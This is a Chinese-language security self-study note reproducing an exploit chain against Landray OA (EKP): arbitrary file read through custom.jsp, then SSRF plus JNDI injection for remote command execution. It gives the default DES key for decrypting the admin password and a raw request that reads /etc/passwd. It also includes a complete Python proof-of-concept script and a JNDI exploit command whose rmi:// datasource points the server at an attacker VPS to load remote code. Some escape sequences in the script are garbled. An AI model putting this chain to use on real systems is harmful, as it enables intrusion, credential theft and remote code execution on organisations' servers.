网络安全自学日志-漏洞复现篇:蓝凌OA系统任意文件读取&SSRF+JNDI远程命令执行组合
工作中遇到的漏洞,文章为自己复现做的相关笔记,参考了很多前人的资料,只是做个笔记。
标题一、漏洞描述
深圳市蓝凌软件股份有限公司数字OA(EKP)存在任意文件读取漏洞。攻击者可利用漏洞获取敏感信息,同时可利用ssrf进行远程命令执行。
标题二、漏洞影响
蓝凌OA
标题三、任意文件读取复现
利用 蓝凌OA custom.jsp 任意文件读取漏洞 读取配置文件
读取路径:
/WEB-INF/KmssConfig/admin.properties
获取密码DES解密登陆后台:默认密钥为 kmssAdminKey
获得密码:******
访问后台
http://漏洞ip/admin.do
输入获得的密码即可登录。
如果服务器是LINUX,似乎可以这样做,但我没有弄成功
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
var={"body":{"file":"file:///etc/passwd"}}
另外附上大佬们的POC脚本;
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import base64
import requests
import random
import re
import json
import sys
def title():
print('+------------------------------------------')
print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m')
print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m')
print('+ 33[34m公众号 : PeiQi文库 33[0m')
print('+ 33[34mVersion: 蓝凌OA 任意文件读取 33[0m')
print('+ 33[36m使用格式: python3 poc.py 33[0m')
print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx 33[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/sys/ui/extend/varkind/custom.jsp"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
data = 'var={"body":{"file":"file:///etc/passwd"}}'
try:
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
print("33[36m[o] 正在请求 {}/sys/ui/extend/varkind/custom.jsp 33[0m".format(target_url))
if "root:" in response.text and response.status_code == 200:
print("33[36m[o] 成功读取 /etc/passwd n[o] 响应为:{} 33[0m".format(response.text))
except Exception as e:
print("33[31m[x] 请求失败:{} 33[0m".format(e))
sys.exit(0)
#
if __name__ == '__main__':
title()
target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m"))
POC_1(target_url)
标题四、配合SSRF进行命令执行复现
使用JNDI注入工具启动监听:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "Command" -A VPS ip
-A参数填写vps地址,就是你服务器的地址。
-C参数填写自己的命令即可,一般都是去ping dnslog
Dnslog:http://www.dnslog.cn/
如图所示:
随后用BP抓取后台的包,利用已登录的cookie去进行命令执行。这里需要注意把JDK 1.7对应的rmi地址,填到BP抓到的包中
POST /admin.do?method=testDbConn&datasource=rmi://VPS IP:1099/erzyyz HTTP/1.1
就是这样子了。
参考链接:
https://www.jianshu.com/p/a9250d02aeb1
https://idc.wanyunshuju.com/aqld/2202.html